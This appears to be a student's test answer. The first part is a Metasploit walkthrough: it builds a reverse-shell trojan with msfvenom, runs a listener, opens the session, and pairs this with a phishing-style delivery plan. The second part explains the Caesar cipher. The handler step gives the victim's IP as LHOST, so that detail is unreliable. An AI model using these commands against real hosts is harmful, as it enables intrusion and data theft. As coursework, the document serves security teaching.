0204677 Lim Zhe Yuan Test 2

1. One hacking phase to perform key logging of a victim's host using an exploit tool in a Linux environment is creating backdoors in the victim's host using a trojan to allow remote access to the victim's terminal. The shellcode that is required for the attacker to create a trojan file and establish a session to the victim's host is as follows:

   Example victim host IP address: 192.168.1.102
   Example attacker host IP address: 192.168.2.120
   Attacker listening port: 25565

   Step 1: Creating the trojan file in the attacker's host

   ```
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.120 LPORT=25565 -f exe > trojan.exe
   ```

   Step 2: Start the exploit by listening for the specified returning payload

   ```
   use exploit/multi/handler
   set PAYLOAD windows/meterpreter/reverse_tcp
   set LHOST 192.168.1.102
   set LPORT 25565
   exploit -j -z
   ```

   After **Step 2**, the trojan file is to be sent to the victim computer, the victim creates a backdoor for the attacker if the victim opens the given trojan file.

   Step 3: Remotely access the victim's terminal *(after the victim opens the file and a session is created)*

   ```
   sessions -i 1
   ```

   After completing all steps, the hacker will be able to access the victim's host terminal successfully.

   The table below shows the MOM strategy of sending a trojan file to the victim's host:

Components	Description	Example
Method	Attackers sends the trojan file to any suspecting victims through online communication methods and uses social engineering attacks to convince victims to download and open the file.	The attacker sends the trojan file through emails and impersonates as a trusted source, convincing victims to download the trojan for fake purposes.
Opportunity	Attackers will have access to the victim's terminal once the trojan file is opened by the victim. The trojan file sends back a request to the attacker's host and the attacker's host to establish a connection with the victim.	A session is created when the victim opens the trojan file, and the attacker is notified whenever a new session is created

Motive	Attackers wants to peek inside a victim's computer to get private and confidential user information or steal user data.	Attacker wants to know the email and password of the victim that may be saved as a file in the victim's computer.

2. Caesar cipher are substitution ciphers that substitutes characters in a message based on a given substitution value. Characters are replaced with a character that offsets by the given substitution value from the original character.

For encrypting messages using Caesar ciphers, users first have to know how much values should be substituted for each character in the message. The default configuration for Caesar ciphers is using substitution value of -3. Therefore, each character is replaced with the character 3 letters before the original character. If the upper limit or lower limit of the letter count, which is 1 or 26 is reached. The character to be replaced for the original character is taken from the other end of the list of characters. In other word, the modulus of the numerical value of each character with 26 is returned. Here is a representation of how each character of a plaintext message will look like in cipher text after using Caesar cipher:

First row: Plaintext characters

Second row: Cipher text characters

A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W

Diagram 1: Plaintext to cipher text lookup table

Original message: HELLO

Encrypted message: EBIIL

For decrypting messages encrypted using Caesar cipher, user need to perform the opposite of the encryption process. Users need to add the substitution value to each character if the encryption process performed a subtraction process to each character or subtract it to each character if the encryption process performed an addition process instead. In this case, the default configuration of Caesar cipher is used and the numerical value of each character in a plaintext message is decreased by 3. Therefore, the numerical value of each character in the message must add the substitution value of 3 to each character to get back the original characters of the message. Here is a representation of how each character of a cipher text message will look like after the decryption process:

First row: Cipher text characters

Second row: Plaintext characters

X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W
A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z

Diagram 2: Ciphertext to plaintext lookup table

Encrypted message: EBIIL

Decrypted message: HELLO

(288 words excluding diagrams and bold words)